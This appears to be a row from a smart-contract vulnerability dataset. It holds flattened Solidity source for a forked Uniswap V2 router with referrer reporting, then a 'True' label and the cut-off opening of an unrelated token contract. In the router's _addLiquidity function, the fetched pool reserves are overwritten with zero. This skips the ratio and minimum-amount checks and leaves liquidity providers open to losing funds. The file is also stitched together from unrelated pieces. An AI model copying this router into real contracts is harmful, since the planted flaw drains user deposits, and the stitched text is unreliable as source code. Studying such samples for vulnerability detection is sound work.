pragma solidity =0.6.12;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMathUniswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/uniswapv2/libraries/UniswapV2Library.sol
pragma solidity >=0.5.0;
library UniswapV2Library {
using SafeMathUniswap for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'6ee5cf2638d8cc5e7c0b363d093bc82bff365a08e0c33b78b578869d85d67d53' // init code hash; update to keccak256(pair.bytecode) upon code update
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// File: contracts/uniswapv2/libraries/TransferHelper.sol
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Router03.sol
pragma solidity >=0.6.2;
// Add referrer-reporting addLiquidity functions.
interface IUniswapV2Router03 is IUniswapV2Router02 {
function addLiquidityWithReferrer(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
address referrer,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETHWithReferrer(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
address referrer,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function reportingTo() external view returns (address);
function mintingFeeTo() external view returns (address);
function mintingFeeSuspended() external view returns (bool);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function feeSuspendedSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setReportingTo(address) external;
function setMintingFeeTo(address) external;
function setMintingFeeSuspended(bool) external;
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setFeeSuspendedSetter(address) external;
function setMigrator(address) external;
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Reporting.sol
pragma solidity >=0.5.0;
interface IUniswapV2Reporting {
function addedLiquidity(address _user, address _tokenA, uint256 _amountA, address _tokenB, uint256 _amountB, address _referrer) external;
function addedLiquidityETH(address _user, address _token, uint256 _amountToken, uint256 _amountETH, address _referrer) external;
}
// File: contracts/uniswapv2/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20Uniswap {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/uniswapv2/interfaces/IWETH.sol
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// File: contracts/uniswapv2/UniswapV2Router03.sol
pragma solidity =0.6.12;
contract UniswapV2Router03 is IUniswapV2Router03 {
using SafeMathUniswap for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _reportAddLiquidity(address _user, address _tokenA, uint256 _amountA, address _tokenB, uint256 _amountB, address _referrer) internal virtual {
address reportingTo = IUniswapV2Factory(factory).reportingTo();
if (reportingTo != address(0) && _user != address(this)) {
IUniswapV2Reporting(reportingTo).addedLiquidity(_user, _tokenA, _amountA, _tokenB, _amountB, _referrer);
}
}
function _reportAddLiquidityETH(address _user, address _token, uint256 _amount, uint256 _amountETH, address _referrer) internal virtual {
address reportingTo = IUniswapV2Factory(factory).reportingTo();
if (reportingTo != address(0) && _user != address(this)) {
IUniswapV2Reporting(reportingTo).addedLiquidityETH(_user, _token, _amount, _amountETH, _referrer);
}
}
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IUniswapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
reserveA = 0;
reserveB = 0;
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
_reportAddLiquidity(to, tokenA, amountA, tokenB, amountB, address(0));
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
_reportAddLiquidityETH(to, token, amountToken, amountETH, address(0));
}
function addLiquidityWithReferrer(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
address referrer,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
{ // block to avoid stack-too-deep
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
}
_reportAddLiquidity(to, tokenA, amountA, tokenB, amountB, referrer);
}
function addLiquidityETHWithReferrer(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
address referrer,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
_reportAddLiquidityETH(to, token, amountToken, amountETH, referrer);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
{ // block to avoid stack-too-deep
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
(address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
}
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
); // does NOT report, since the transfer is to address(this)
uint amountToken = IERC20Uniswap(token).balanceOf(address(this));
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair.
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20Uniswap(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20Uniswap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
uint amountOut = IERC20Uniswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore);
require(
amountOut >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20Uniswap(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20Uniswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20Uniswap(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return UniswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsIn(factory, amountOut, path);
}
} | True | [
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/*
website: pizzafinance.com
This project was forked from SUSHI and YUNO projects.
Unless those projects have severe vulnerabilities, this contract will be fine
███████████ █████ ███████████ ███████████ █████████
░░███░░░░░███░░███ ░█░░░░░░███ ░█░░░░░░███ ███░░░░░███
░███ ░███ ░███ ░ ███░ ░ ███░ ░███ ░███
░██████████ ░███ ███ ███ ░███████████
░███░░░░░░ ░███ ███ ███ ░███░░░░░███
░███ ░███ ████ █ ████ █ ░███ ░███
█████ █████ ███████████ ███████████ █████ █████
░░░░░ ░░░░░ ░░░░░░░░░░░ ░░░░░░░░░░░ ░░░░░ ░░░░░
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
